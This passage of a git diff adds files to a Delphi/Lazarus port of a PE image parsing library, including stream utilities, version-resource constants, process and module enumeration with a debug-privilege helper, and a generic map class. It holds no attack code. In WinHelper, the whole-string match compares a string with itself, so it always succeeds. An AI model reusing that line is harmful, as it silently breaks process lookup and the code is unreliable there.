PIMAGE_TLS_CALLBACK = procedure(DllHandle: pointer; Reason: dword; Reserved: pointer); stdcall; + +implementation + +end. diff --git a/Core/PE/PE.Types.pas b/Core/PE/PE.Types.pas new file mode 100755 index 0000000..b10ae4f --- /dev/null +++ b/Core/PE/PE.Types.pas @@ -0,0 +1,29 @@ +unit PE.Types; + +interface + +uses + Generics.Collections, + PE.Common; + +type + TRVAs = TList<TRVA>; + + TPEParser = class + FPE: TObject; + constructor Create(PEImage: TObject); + function Parse: TParserResult; virtual; abstract; + end; + + TPEParserClass = class of TPEParser; + +implementation + +{ TPEParser } + +constructor TPEParser.Create(PEImage: TObject); +begin + FPE := PEImage; +end; + +end. diff --git a/Core/PE/PE.Utils.pas b/Core/PE/PE.Utils.pas new file mode 100755 index 0000000..9d5aff3 --- /dev/null +++ b/Core/PE/PE.Utils.pas @@ -0,0 +1,287 @@ +unit PE.Utils; + +interface + +// When writing padding use PADDINGX string instead of zeros. +{$DEFINE WRITE_PADDING_STRING} + + +uses + Classes, + SysUtils, + + PE.Common; + +function StreamRead(AStream: TStream; var Buf; Count: longint): boolean; inline; +function StreamPeek(AStream: TStream; var Buf; Count: longint): boolean; inline; +function StreamWrite(AStream: TStream; const Buf; Count: longint): boolean; inline; + +// Read 0-terminated 1-byte string. +function StreamReadStringA(AStream: TStream; var S: string): boolean; + +// Read 0-terminated 2-byte string +function StreamReadStringW(AStream: TStream; var S: string): boolean; + +// Write string and return number of bytes written. +// If AlignAfter isn't 0 zero bytes will be written to align it up to AlignAfter value. +function StreamWriteString(AStream: TStream; const S: string; Encoding: TEncoding; AlignAfter: integer = 0): uint32; +// Write ANSI string and return number of bytes written. +function StreamWriteStringA(AStream: TStream; const S: string; AlignAfter: integer = 0): uint32; + +const + PATTERN_PADDINGX: array [0 .. 7] of AnsiChar = ('P', 'A', 'D', 'D', 'I', 'N', 'G', 'X'); + + // Write pattern to stream. If Pattern is nil or size of patter is 0 then + // nulls are written (default). +procedure WritePattern(AStream: TStream; Count: uint32; Pattern: Pointer = nil; PatternSize: integer = 0); + +function StreamSeek(AStream: TStream; Offset: TFileOffset): boolean; inline; +function StreamSkip(AStream: TStream; Count: integer = 1): boolean; inline; + +// Seek from current position to keep alignment. +function StreamSeekAlign(AStream: TStream; Align: integer): boolean; inline; + +// Try to seek Offset and insert padding if Offset < stream Size. +procedure StreamSeekWithPadding(AStream: TStream; Offset: TFileOffset); + +function Min(const A, B: uint64): uint64; inline; overload; +function Min(const A, B, C: uint64): uint64; inline; overload; + +function Max(const A, B: uint64): uint64; inline; + +function AlignUp(Value: uint64; Align: uint32): uint64; inline; +function AlignDown(Value: uint64; Align: uint32): uint64; inline; + +function IsAlphaNumericString(const S: String): boolean; + +function CompareRVA(A, B: TRVA): integer; inline; + +function ReplaceSpecialSymobls(const source: string): string; + +implementation + +{ Stream } + +function StreamRead(AStream: TStream; var Buf; Count: longint): boolean; +begin + Result := AStream.Read(Buf, Count) = Count; +end; + +function StreamPeek(AStream: TStream; var Buf; Count: longint): boolean; inline; +var + Read: integer; +begin + Read := AStream.Read(Buf, Count); + AStream.Seek(-Read, soFromCurrent); + Result := Read = Count; +end; + +function StreamWrite(AStream: TStream; const Buf; Count: longint): boolean; +begin + Result := AStream.Write(Buf, Count) = Count; +end; + +function StreamReadStringA(AStream: TStream; var S: string): boolean; +var + C: byte; +begin + S := ''; + while True do + if AStream.Read(C, SizeOf(C)) <> SizeOf(C) then + break + else if (C = 0) then + exit(True) + else + S := S + Char(C); + exit(False); +end; + +function StreamReadStringW(AStream: TStream; var S: string): boolean; +var + C: word; +begin + S := ''; + while True do + if AStream.Read(C, SizeOf(C)) <> SizeOf(C) then + break + else if (C = 0) then + exit(True) + else + S := S + Char(C); + exit(False); +end; + +function StreamWriteString(AStream: TStream; const S: string; Encoding: TEncoding; AlignAfter: integer): uint32; +var + Bytes: TBytes; +begin + Bytes := Encoding.GetBytes(S); + Result := AStream.Write(Bytes, Length(Bytes)); + + if AlignAfter <> 0 then + begin + // Number of bytes left to write to be aligned. + AlignAfter := AlignAfter - (AStream.Size mod AlignAfter); + WritePattern(AStream, AlignAfter, nil, 0); + end; +end; + +function StreamWriteStringA(AStream: TStream; const S: string; AlignAfter: integer): uint32; +begin + Result := StreamWriteString(AStream, S, TEncoding.ANSI, AlignAfter); +end; + +procedure WritePattern(AStream: TStream; Count: uint32; Pattern: Pointer; PatternSize: integer); +var + p: pbyte; + i: integer; +begin + if Count = 0 then + exit; + + if Assigned(Pattern) and (PatternSize > 0) then + begin + p := GetMemory(Count); + if PatternSize = 1 then + FillChar(p^, Count, pbyte(Pattern)^) + else + begin + for i := 0 to Count - 1 do + p[i] := pbyte(Pattern)[i mod PatternSize]; + end; + end + else + begin + p := AllocMem(Count); // filled with nulls + end; + + try + AStream.Write(p^, Count); + finally + FreeMem(p); + end; +end; + +function StreamSeek(AStream: TStream; Offset: TFileOffset): boolean; +begin + Result := AStream.Seek(Offset, TSeekOrigin.soBeginning) = Offset; +end; + +function StreamSkip(AStream: TStream; Count: integer): boolean; inline; +var + Offset: TFileOffset; +begin + Offset := AStream.Position + Count; + Result := AStream.Seek(Offset, TSeekOrigin.soBeginning) = Offset; +end; + +function StreamSeekAlign(AStream: TStream; Align: integer): boolean; +var + m: integer; + pos: TFileOffset; +begin + if Align in [0, 1] then + exit(True); // don't need alignment + pos := AStream.Position; + m := pos mod Align; + if m = 0 then + exit(True); // already aligned + inc(pos, Align - m); // next aligned position + Result := AStream.Seek(pos, TSeekOrigin.soBeginning) = pos; +end; + +procedure StreamSeekWithPadding(AStream: TStream; Offset: TFileOffset); +begin + if Offset <= AStream.Size then + begin + AStream.Seek(Offset, TSeekOrigin.soBeginning); + exit; + end; + // Insert padding if need. + AStream.Seek(AStream.Size, TSeekOrigin.soBeginning); + WritePattern(AStream, Offset - AStream.Size, nil, 0); +end; + +{ Min / Max } + +function Min(const A, B: uint64): uint64; +begin + if A < B then + exit(A) + else + exit(B); +end; + +function Min(const A, B, C: uint64): uint64; +begin + Result := Min(Min(A, B), C); +end; + +function Max(const A, B: uint64): uint64; +begin + if A > B then + exit(A) + else + exit(B); +end; + +{ AlignUp } + +function AlignUp(Value: uint64; Align: uint32): uint64; +var + d, m: uint32; +begin + d := Value div Align; + m := Value mod Align; + if m = 0 then + Result := Value + else + Result := (d + 1) * Align; +end; + +function AlignDown(Value: uint64; Align: uint32): uint64; +begin + Result := (Value div Align) * Align; +end; + +function IsAlphaNumericString(const S: String): boolean; +const + ALLOWED_CHARS = ['0' .. '9', 'A' .. 'Z', 'a' .. 'z']; +var + C: Char; +begin + for C in S do + if not CharInSet(c, ALLOWED_CHARS) then + exit(False); + exit(True); +end; + +function CompareRVA(A, B: TRVA): integer; +begin + if A > B then + exit(1) + else if A < B then + exit(-1) + else + exit(0); +end; + +function ReplaceSpecialSymobls(const source: string): string; +begin + // oranke. modified. + Result := + SysUtils.StringReplace( + SysUtils.StringReplace(source, #10, '\n', [rfReplaceAll]), + #13, '\r', [rfReplaceAll] + ); + + + + { + Result := source. + Replace(#10, '\n'). + Replace(#13, '\r'); + } +end; + +end. diff --git a/Core/PE/README.md b/Core/PE/README.md new file mode 100755 index 0000000..0f7bcd1 --- /dev/null +++ b/Core/PE/README.md @@ -0,0 +1,28 @@ +# pe-image-for-delphi + +This is Delphi library to work with Portable Executable Image files. +The main purpose is to make parsing image structures of 32/64 bit image easy. +Now it can parse most used things, like: sections, imports, exports, resources and tls. + +Also it can write image, but that was not primary goal. + +ToDo: + +- There must be introduced sparsed/paged virtual memory concept (just like Windows does) + Currently all section data is loaded into memory. + Some virus samples tested can crash loading because of using too big virtual address range. + With normal compiler generated images you won't have such problem. + + +--- + +### ... and some tweaks for Lazarus. + +Lazarus does not support anonymous functions, so I just change it to callbacks. +This code is very dirty and terrible. You should use it at your own risk. + +Generic problem was simply solved by "[FreePascal Generics.Collections library](https://github.com/dathox/generics.collections)". +(Thank's for it.) + +You also need "TlHelp32.pas" and "PsAPI.pas" units for build it in Lazarus. +Copy them from Delphi's src folder. diff --git a/Core/PE/VerRsrc.inc b/Core/PE/VerRsrc.inc new file mode 100755 index 0000000..b7ecb34 --- /dev/null +++ b/Core/PE/VerRsrc.inc @@ -0,0 +1,154 @@ +{ + * + * verrsrc.h - Version Resource definitions + * + * Include file declaring version resources in rc files + * + * Copyright (c) Microsoft Corporation. All rights reserved. + * +} + +const + + (* ----- Symbols ----- *) + // VS_FILE_INFO = RT_VERSION; + VS_VERSION_INFO = 1; + VS_USER_DEFINED = 100; + + (* ----- VS_VERSION.dwFileFlags ----- *) +{$IFNDEF _MAC} + VS_FFI_SIGNATURE = $FEEF04BD; +{$ELSE} + VS_FFI_SIGNATURE = $BD04EFFE; +{$ENDIF} + VS_FFI_STRUCVERSION = $00010000; + VS_FFI_FILEFLAGSMASK = $0000003F; + + (* ----- VS_VERSION.dwFileFlags ----- *) + VS_FF_DEBUG = $00000001; + VS_FF_PRERELEASE = $00000002; + VS_FF_PATCHED = $00000004; + VS_FF_PRIVATEBUILD = $00000008; + VS_FF_INFOINFERRED = $00000010; + VS_FF_SPECIALBUILD = $00000020; + + (* ----- VS_VERSION.dwFileOS ----- *) + VOS_UNKNOWN = $00000000; + VOS_DOS = $00010000; + VOS_OS216 = $00020000; + VOS_OS232 = $00030000; + VOS_NT = $00040000; + VOS_WINCE = $00050000; + + VOS__BASE = $00000000; + VOS__WINDOWS16 = $00000001; + VOS__PM16 = $00000002; + VOS__PM32 = $00000003; + VOS__WINDOWS32 = $00000004; + + VOS_DOS_WINDOWS16 = $00010001; + VOS_DOS_WINDOWS32 = $00010004; + VOS_OS216_PM16 = $00020002; + VOS_OS232_PM32 = $00030003; + VOS_NT_WINDOWS32 = $00040004; + + (* ----- VS_VERSION.dwFileType ----- *) + VFT_UNKNOWN = $00000000; + VFT_APP = $00000001; + VFT_DLL = $00000002; + VFT_DRV = $00000003; + VFT_FONT = $00000004; + VFT_VXD = $00000005; + VFT_STATIC_LIB = $00000007; + + (* ----- VS_VERSION.dwFileSubtype for VFT_WINDOWS_DRV ----- *) + VFT2_UNKNOWN = $00000000; + VFT2_DRV_PRINTER = $00000001; + VFT2_DRV_KEYBOARD = $00000002; + VFT2_DRV_LANGUAGE = $00000003; + VFT2_DRV_DISPLAY = $00000004; + VFT2_DRV_MOUSE = $00000005; + VFT2_DRV_NETWORK = $00000006; + VFT2_DRV_SYSTEM = $00000007; + VFT2_DRV_INSTALLABLE = $00000008; + VFT2_DRV_SOUND = $00000009; + VFT2_DRV_COMM = $0000000A; + VFT2_DRV_INPUTMETHOD = $0000000B; + VFT2_DRV_VERSIONED_PRINTER = $0000000C; + + (* ----- VS_VERSION.dwFileSubtype for VFT_WINDOWS_FONT ----- *) + VFT2_FONT_RASTER = $00000001; + VFT2_FONT_VECTOR = $00000002; + VFT2_FONT_TRUETYPE = $00000003; + + (* ----- VerFindFile() flags ----- *) + VFFF_ISSHAREDFILE = $0001; + + VFF_CURNEDEST = $0001; + VFF_FILEINUSE = $0002; + VFF_BUFFTOOSMALL = $0004; + + (* ----- VerInstallFile() flags ----- *) + VIFF_FORCEINSTALL = $0001; + VIFF_DONTDELETEOLD = $0002; + + VIF_TEMPFILE = $00000001; + VIF_MISMATCH = $00000002; + VIF_SRCOLD = $00000004; + + VIF_DIFFLANG = $00000008; + VIF_DIFFCODEPG = $00000010; + VIF_DIFFTYPE = $00000020; + + VIF_WRITEPROT = $00000040; + VIF_FILEINUSE = $00000080; + VIF_OUTOFSPACE = $00000100; + VIF_ACCESSVIOLATION = $00000200; + VIF_SHARINGVIOLATION = $00000400; + VIF_CANNOTCREATE = $00000800; + VIF_CANNOTDELETE = $00001000; + VIF_CANNOTRENAME = $00002000; + VIF_CANNOTDELETECUR = $00004000; + VIF_OUTOFMEMORY = $00008000; + + VIF_CANNOTREADSRC = $00010000; + VIF_CANNOTREADDST = $00020000; + + VIF_BUFFTOOSMALL = $00040000; + VIF_CANNOTLOADLZ32 = $00080000; + VIF_CANNOTLOADCABINET = $00100000; + +{$IFNDEF RC_INVOKED} (* RC doesn't need to see the rest of this *) + + (* + FILE_VER_GET_... flags are for use by + GetFileVersionInfoSizeEx + GetFileVersionInfoExW + *) + FILE_VER_GET_LOCALISED = $01; + FILE_VER_GET_NEUTRAL = $02; + FILE_VER_GET_PREFETCHED = $04; + + (* ----- Types and structures ----- *) + +type + tagVS_FIXEDFILEINFO = packed record + dwSignature: uint32; (* e.g. =$feef04bd *) + dwStrucVersion: uint32; (* e.g. =$00000042 = "0.42" *) + dwFileVersionMS: uint32; (* e.g. =$00030075 = "3.75" *) + dwFileVersionLS: uint32; (* e.g. =$00000031 = "0.31" *) + dwProductVersionMS: uint32; (* e.g. =$00030010 = "3.10" *) + dwProductVersionLS: uint32; (* e.g. =$00000031 = "0.31" *) + dwFileFlagsMask: uint32; (* = $3F for version "0.42" *) + dwFileFlags: uint32; (* e.g. VFF_DEBUG | VFF_PRERELEASE *) + dwFileOS: uint32; (* e.g. VOS_DOS_WINDOWS16 *) + dwFileType: uint32; (* e.g. VFT_DRIVER *) + dwFileSubtype: uint32; (* e.g. VFT2_DRV_KEYBOARD *) + dwFileDateMS: uint32; (* e.g. 0 *) + dwFileDateLS: uint32; (* e.g. 0 *) + end; + + VS_FIXEDFILEINFO = tagVS_FIXEDFILEINFO; + +{$ENDIF} (* !RC_INVOKED *) + diff --git a/Core/PE/WinHelper.pas b/Core/PE/WinHelper.pas new file mode 100755 index 0000000..bb1fd30 --- /dev/null +++ b/Core/PE/WinHelper.pas @@ -0,0 +1,446 @@ +unit WinHelper; + +interface + +uses + Generics.Collections, + SysUtils, + + PE.Common, + + TlHelp32, + Windows; + +type + TProcessRec = record + PID: DWORD; + Name: string; + constructor Create(PID: DWORD; const Name: string); + end; + + TProcessRecList = TList<TProcessRec>; + + TModuleRec = TModuleEntry32; + + TModuleRecList = TList<TModuleRec>; + + // return True to continue enumeration or False to stop it. + //TEnumProcessesCallback = reference to function(const pe: TProcessEntry32): boolean; + //TEnumModulesCallback = reference to function(const me: TModuleEntry32): boolean; + // oranke modified + TEnumProcessesCallback = function(const pe: TProcessEntry32; UserData: Pointer): boolean; + TEnumModulesCallback = function(const me: TModuleEntry32; UserData: Pointer): boolean; + + // Enumerate processes with callback. Result is False if there was error. +function EnumProcesses(cb: TEnumProcessesCallback; UserData: Pointer): boolean; + +// Enumerate processes to list. Result is False if there was error. +function EnumProcessesToList(List: TProcessRecList): boolean; + +type + // Used to compare strings. + TStringMatchKind = ( + MATCH_STRING_WHOLE, // string equals to X + MATCH_STRING_START, // string starts with X + MATCH_STRING_END, // string ends with X + MATCH_STRING_PART // string contains X + ); + +function FindPIDByProcessName( + const Name: string; + out PID: DWORD; + Match: TStringMatchKind = MATCH_STRING_WHOLE): boolean; + +// Enumerate modules with callback. Result is False if there was error. +function EnumModules(PID: DWORD; cb: TEnumModulesCallback; UserData: Pointer): boolean; + +// Enumerate modules to list. Result is False if there was error. +function EnumModulesToList(PID: DWORD; List: TModuleRecList): boolean; + +type + // Used in FindModule to test if this is the module we search. + // Return True on match. + //TFindModuleChecker = reference to function(const me: TModuleEntry32): boolean; + // oranke modified + TFindModuleChecker = function(const me: TModuleEntry32; UserData: Pointer): boolean; + + // Find module by custom condition. +function FindModule(PID: DWORD; out value: TModuleEntry32; Checker: TFindModuleChecker; UserData: Pointer): boolean; + +// Find module by address that belongs to this module. +function FindModuleByAddress(PID: DWORD; Addr: NativeUInt; out me: TModuleEntry32): boolean; + +// Find module by module name. +function FindModuleByName(PID: DWORD; const Name: string): boolean; + +// Find main process module (exe). +function FindMainModule(PID: DWORD; out me: TModuleEntry32): boolean; + +function SetPrivilegeByName(const Name: string; State: boolean): boolean; + +function SetDebugPrivilege(State: boolean): boolean; + +implementation + + +function EnumProcesses(cb: TEnumProcessesCallback; UserData: Pointer): boolean; +var + hShot, hShotMod: THandle; + pe: TProcessEntry32; +begin + // Create process snapshot. + hShot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if hShot = INVALID_HANDLE_VALUE then + exit(false); + + // Traverse it. + try + ZeroMemory(@pe, SizeOf(pe)); + pe.dwSize := SizeOf(pe); + + if not Process32First(hShot, pe) then + exit(false); + + repeat + // Add process only if we can query its module list. + hShotMod := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe.th32ProcessID); + if hShotMod <> INVALID_HANDLE_VALUE then + begin + CloseHandle(hShotMod); + if not cb(pe, UserData) then + break; + end; + until not Process32Next(hShot, pe); + + exit(True); + finally + CloseHandle(hShot); + end; +end; + +function EnumProcessProc(const pe: TProcessEntry32; UserData: Pointer): boolean; +begin + //List.Add(TProcessRec.Create(pe.th32ProcessID, pe.szExeFile)); + TProcessRecList(UserData).Add(TProcessRec.Create(pe.th32ProcessID, pe.szExeFile)); + + result := True; +end; + +function EnumProcessesToList(List: TProcessRecList): boolean; +begin + List.Clear; + result := EnumProcesses(EnumProcessProc, List); + + // oranke modified + { + result := EnumProcesses( + function(const pe: TProcessEntry32): boolean + begin + List.Add(TProcessRec.Create(pe.th32ProcessID, pe.szExeFile)); + result := True; + end); + } +end; + +function CompareStringsWithMachKind(const s1, s2: string; kind: TStringMatchKind): boolean; +begin + // oranke modified + case kind of + MATCH_STRING_WHOLE: + result := s1 = s1;//s1.Equals(s2); + MATCH_STRING_START: + result := SysUtils.StrLComp(PChar(s1), PChar(s2), Length(s2)) = 0; //s1.StartsWith(s2); + MATCH_STRING_END: + result := s1.EndsWith(s2); + MATCH_STRING_PART: + result := System.Pos(s2, s1) > 0; //s1.Contains(s2); + else + result := false; + end; +end; + +type + PFindPIDRec = ^TFindPIDRec; + TFindPIDRec = record + tmpName: String; + Match: TStringMatchKind; + foundPID: DWORD; + end; + +function FindPIDByProcessProc(const pe: TProcessEntry32; UserData: Pointer): Boolean; +begin + with PFindPIDRec(UserData)^ do + if CompareStringsWithMachKind(UpperCase(string(pe.szExeFile)), tmpName, Match) then + begin + foundPID := pe.th32ProcessID; + exit(false); // don't continue search, already found + end; + + exit(True); // continue search +end; + +function FindPIDByProcessName(const Name: string; out PID: DWORD; Match: TStringMatchKind): boolean; +var + //tmpName: string; + //foundPID: DWORD; + MR: TFindPIDRec; +begin + MR.tmpName := UpperCase(Name); + MR.Match := Match; + MR.foundPID := 0; + + //tmpName := Uppercase(Name);// Name.ToUpper; + //foundPID := 0; + + EnumProcesses(FindPIDByProcessProc, @MR); + + { + EnumProcesses( + function(const pe: TProcessEntry32): boolean + begin + if CompareStringsWithMachKind(string(pe.szExeFile).ToUpper, tmpName, Match) then + begin + foundPID := pe.th32ProcessID; + exit(false); // don't continue search, already found + end; + exit(True); // continue search + end); + } + + PID := MR.foundPID; + result := MR.foundPID <> 0; +end; + +function EnumModules(PID: DWORD; cb: TEnumModulesCallback; UserData: Pointer): boolean; +var + hShot: THandle; + me: TModuleEntry32; +begin + hShot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, PID); + if hShot = INVALID_HANDLE_VALUE then + exit(false); + + try + ZeroMemory(@me, SizeOf(me)); + me.dwSize := SizeOf(me); + + if not Module32First(hShot, me) then + exit(false); + + repeat + if not cb(me, UserData) then + break; + until not Module32Next(hShot, me); + + exit(True); + finally + CloseHandle(hShot); + end; +end; + +function EnumModuleToListProc(const me: TModuleEntry32; UserData: Pointer): Boolean; +begin + TModuleRecList(UserData).Add(me); + Exit(true); +end; + +function EnumModulesToList(PID: DWORD; List: TModuleRecList): boolean; +begin + List.Clear; + result := EnumModules(PID, EnumModuleToListProc, List); + + { + result := EnumModules(PID, + function(const me: TModuleEntry32): boolean + begin + List.Add(me); + exit(True); + end); + } +end; + +type + PFindModuleRec = ^TFindModuleRec; + TFindModuleRec = record + found: Boolean; + Checker: TFindModuleChecker; + tmp: TModuleEntry32; + UserData: Pointer; + end; + +function FindModuleProc(const me: TModuleEntry32; UserData: Pointer): boolean; +begin + with PFindModuleRec(UserData)^ do + if Checker(me, UserData) then + begin + tmp := me; + found := True; + exit(false); + end; + exit(True); +end; + +function FindModule(PID: DWORD; out value: TModuleEntry32; Checker: TFindModuleChecker; UserData: Pointer): boolean; +var + //found: boolean; + //tmp: TModuleEntry32; + FMR: TFindModuleRec; +begin + FMR.found := false; + FMR.Checker := Checker; + FMR.UserData := UserData; + + EnumModules(PID, FindModuleProc, @FMR); + + //found := false; + { + EnumModules(PID, + function(const me: TModuleEntry32): boolean + begin + if Checker(me) then + begin + tmp := me; + found := True; + exit(false); + end; + exit(True); + end); + } + + with FMR do + if found then + value := tmp + else + fillchar(value, SizeOf(value), 0); + + exit(FMR.found); +end; + +function FindModuleByAddressProc(const me: TModuleEntry32; UserData: Pointer): Boolean; +begin + result := + (PNativeUInt(UserData)^ >= NativeUInt(me.modBaseAddr)) and + (PNativeUInt(UserData)^ < NativeUInt(me.modBaseAddr + me.modBaseSize)); +end; + +function FindModuleByAddress(PID: DWORD; Addr: NativeUInt; out me: TModuleEntry32): boolean; +begin + result := FindModule(PID, me, FindModuleByAddressProc, @Addr); + + { + result := FindModule(PID, me, + function(const me: TModuleEntry32): boolean + begin + result := + (Addr >= NativeUInt(me.modBaseAddr)) and + (Addr < NativeUInt(me.modBaseAddr + me.modBaseSize)); + end); + } +end; + +function FindModuleByNameProc(const me: TModuleEntry32; UserData: Pointer): Boolean; +begin + Result := UpperCase(string(me.szModule)) = PString(UserData)^; +end; + +function FindModuleByName(PID: DWORD; const Name: string): boolean; +var + tmpName: string; + me: TModuleEntry32; +begin + tmpName := UpperCase(Name); + Result := FindModule(PID, me, FindModuleByNameProc, @tmpName); + + { + tmpName := name.ToUpper; + result := FindModule(PID, me, + function(const me: TModuleEntry32): boolean + begin + result := string(me.szModule).ToUpper.Equals(tmpName); + end); + } +end; + +function FindMainModuleProc(const me: TModuleEntry32; UserData: Pointer): Boolean; +begin + Result := true; +end; + +function FindMainModule(PID: DWORD; out me: TModuleEntry32): boolean; +begin + result := FindModule(PID, me, FindMainModuleProc, nil); + { + result := FindModule(PID, me, + function(const me: TModuleEntry32): boolean + begin + result := True; // first module is main one + end); + } + +end; + +function AdjustTokenPrivileges(TokenHandle: THandle; DisableAllPrivileges: BOOL; + const NewState: TTokenPrivileges; BufferLength: DWORD; + PreviousState: PTokenPrivileges; var ReturnLength: DWORD): BOOL; external advapi32 name 'AdjustTokenPrivileges'; + +// http://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx +function SetPrivilege( + hToken: THandle; // access token handle +lpszPrivilege: LPCTSTR; // name of privilege to enable/disable +bEnablePrivilege: BOOL // to enable or disable privilege + ): boolean; +var + tp: TOKEN_PRIVILEGES; + luid: int64; + Status: DWORD; + ReturnLength: DWORD; +begin + if LookupPrivilegeValue( + nil, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + luid) // receives LUID of privilege + then + begin + tp.PrivilegeCount := 1; + tp.Privileges[0].luid := luid; + if bEnablePrivilege then + tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED + else + tp.Privileges[0].Attributes := 0; + + // Enable the privilege or disable all privileges. + if AdjustTokenPrivileges(hToken, false, tp, SizeOf(TOKEN_PRIVILEGES), nil, ReturnLength) then + begin + Status := GetLastError(); + if Status = ERROR_SUCCESS then + exit(True); + end; + end; + + exit(false); +end; + +function SetPrivilegeByName(const Name: string; State: boolean): boolean; +var + hToken: THandle; +begin + if not OpenProcessToken(GetCurrentProcess, TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES, hToken) then + exit(false); + result := SetPrivilege(hToken, LPCTSTR(Name), State); + CloseHandle(hToken); +end; + +function SetDebugPrivilege(State: boolean): boolean; +begin + result := SetPrivilegeByName('SeDebugPrivilege', State); +end; + +{ TProcessRec } + +constructor TProcessRec.Create(PID: DWORD; const Name: string); +begin + self.PID := PID; + self.Name := Name; +end; + +end. diff --git a/Core/PE/gmap.pas b/Core/PE/gmap.pas new file mode 100755 index 0000000..8e05b11 --- /dev/null +++ b/Core/PE/gmap.pas @@ -0,0 +1,398 @@ +{ + Generic Key-Value Map class. Items are ordered by Key. +} + +unit gmap; + +interface + +uses + System.Generics.Collections, + System.SysUtils, + grbtree; + +type + TMap<TKey, TValue> = class(TEnumerable < TPair < TKey, TValue >> ) + public type + TCompareLess = reference to function(const A, B: TKey): boolean; + private const + SKeyDoesNotExist = 'Key does not exist.'; + private type + TItem = record + Pair: TPair<TKey, TValue>; + Owner: TMap<TKey, TValue>; + constructor Create(const K: TKey; const V: TValue; + const Owner: TMap<TKey, TValue>); + end; + + TItemTree = TRBTree<TItem>; + + TPairEnumerator = class(TEnumerator < TPair < TKey, TValue >> ) + private + FMap: TMap<TKey, TValue>; + FNode: TItemTree.TRBNodePtr; + protected + function DoGetCurrent: TPair<TKey, TValue>; override; + function DoMoveNext: boolean; override; + public + constructor Create(const Map: TMap<TKey, TValue>); + end; + + TKeyEnumerator = class(TEnumerator<TKey>) + private + FPairEnum: TPairEnumerator; + protected + function DoGetCurrent: TKey; override; + function DoMoveNext: boolean; override; + public + constructor Create(const Map: TMap<TKey, TValue>); + destructor Destroy; override; + end; + + TValueEnumerator = class(TEnumerator<TValue>) + private + FPairEnum: TPairEnumerator; + protected + function DoGetCurrent: TValue; override; + function DoMoveNext: boolean; override; + public + constructor Create(const Map: TMap<TKey, TValue>); + destructor Destroy; override; + end; + + TKeyCollection = class(TEnumerable<TKey>) + private + FMap: TMap<TKey, TValue>; + protected + function DoGetEnumerator: TEnumerator<TKey>; override; + public + constructor Create(Map: TMap<TKey, TValue>); + end; + + TValueCollection = class(TEnumerable<TValue>) + private + FMap: TMap<TKey, TValue>; + protected + function DoGetEnumerator: TEnumerator<TValue>; override; + public + constructor Create(Map: TMap<TKey, TValue>); + end; + + private + FKeyComparer: TCompareLess; + FItems: TItemTree; + FOnKeyNotify: TCollectionNotifyEvent<TKey>; + FOnValueNotify: TCollectionNotifyEvent<TValue>; + FKeyCollection: TKeyCollection; + FValueCollection: TValueCollection; + class function CompareItem(const A, B: TItem): boolean; static; inline; + + // Add new Key-Value pair or update existing Key with Value. + procedure &Set(const Key: TKey; const Value: TValue); + + // Get Value by key. + function Get(const Key: TKey): TValue; + + // Find node of item in RBTRree. + function FindNodePtr(const Key: TKey): TItemTree.TRBNodePtr; inline; + + function GetCount: integer; inline; + + procedure ItemTreeNotify(Sender: TObject; const Item: TItem; + Action: TCollectionNotification); + + function GetKeys: TKeyCollection; + function GetValues: TValueCollection; + protected + function DoGetEnumerator: TEnumerator<TPair<TKey, TValue>>; override; + public + constructor Create(const Comparer: TCompareLess); + destructor Destroy; override; + + // Add new item. + procedure Add(const Key: TKey; const Value: TValue); inline; + procedure Clear; inline; + function ContainsKey(const Key: TKey): boolean; inline; + function TryGetValue(const Key: TKey; out Value: TValue): boolean; + function TryGetKeyAndValue(const Key: TKey; out OutKey: TKey; out OutValue: TValue): boolean; + procedure Remove(const Key: TKey); + + function FirstKey: TKey; inline; + function FirstValue: TValue; inline; + + function LastKey: TKey; inline; + function LastValue: TValue; inline; + + property Items[const Key: TKey]: TValue read Get write &Set; default; + property Keys: TKeyCollection read GetKeys; + property Values: TValueCollection read GetValues; + property Count: integer read GetCount; + property OnKeyNotify: TCollectionNotifyEvent<TKey> read FOnKeyNotify write FOnKeyNotify; + property OnValueNotify: TCollectionNotifyEvent<TValue> read FOnValueNotify write FOnValueNotify; + end; + +implementation + +{ TMap<TKey, TValue> } + +procedure TMap<TKey, TValue>.Add(const Key: TKey; const Value: TValue); +begin + FItems.Add(TItem.Create(Key, Value, self)); +end; + +procedure TMap<TKey, TValue>.Clear; +begin + FItems.Clear; +end; + +class function TMap<TKey, TValue>.CompareItem(const A, B: TItem): boolean; +begin + Result := A.Owner.FKeyComparer(A.Pair.Key, B.Pair.Key); +end; + +constructor TMap<TKey, TValue>.Create(const Comparer: TCompareLess); +begin + inherited Create; + FKeyComparer := Comparer; + FItems := TItemTree.Create(CompareItem); + FItems.OnNotify := ItemTreeNotify; +end; + +destructor TMap<TKey, TValue>.Destroy; +begin + FKeyCollection.Free; + FValueCollection.Free; + FItems.Free; + inherited; +end; + +function TMap<TKey, TValue>.DoGetEnumerator: TEnumerator<TPair<TKey, TValue>>; +begin + Result := TPairEnumerator.Create(self); +end; + +function TMap<TKey, TValue>.FindNodePtr(const Key: TKey): TItemTree.TRBNodePtr; +begin + Result := FItems.Find(TItem.Create(Key, Default (TValue), self)); +end; + +function TMap<TKey, TValue>.FirstKey: TKey; +begin + Result := FItems.First.K.Pair.Key; +end; + +function TMap<TKey, TValue>.FirstValue: TValue; +begin + Result := FItems.First.K.Pair.Value; +end; + +function TMap<TKey, TValue>.LastKey: TKey; +begin + Result := FItems.Last.K.Pair.Key; +end; + +function TMap<TKey, TValue>.LastValue: TValue; +begin + Result := FItems.Last.K.Pair.Value; +end; + +function TMap<TKey, TValue>.Get(const Key: TKey): TValue; +var + Ptr: TItemTree.TRBNodePtr; +begin + Ptr := FindNodePtr(Key); + if Assigned(Ptr) then + Result := Ptr^.K.Pair.Value + else + raise Exception.Create(SKeyDoesNotExist); +end; + +function TMap<TKey, TValue>.GetCount: integer; +begin + Result := FItems.Count; +end; + +function TMap<TKey, TValue>.GetKeys: TKeyCollection; +begin + if FKeyCollection = nil then + FKeyCollection := TKeyCollection.Create(self); + Result := FKeyCollection; +end; + +function TMap<TKey, TValue>.GetValues: TValueCollection; +begin + if FValueCollection = nil then + FValueCollection := TValueCollection.Create(self); + Result := FValueCollection; +end; + +procedure TMap<TKey, TValue>.ItemTreeNotify(Sender: TObject; const Item: TItem; + Action: TCollectionNotification); +begin + if Assigned(FOnKeyNotify) then + FOnKeyNotify(self, 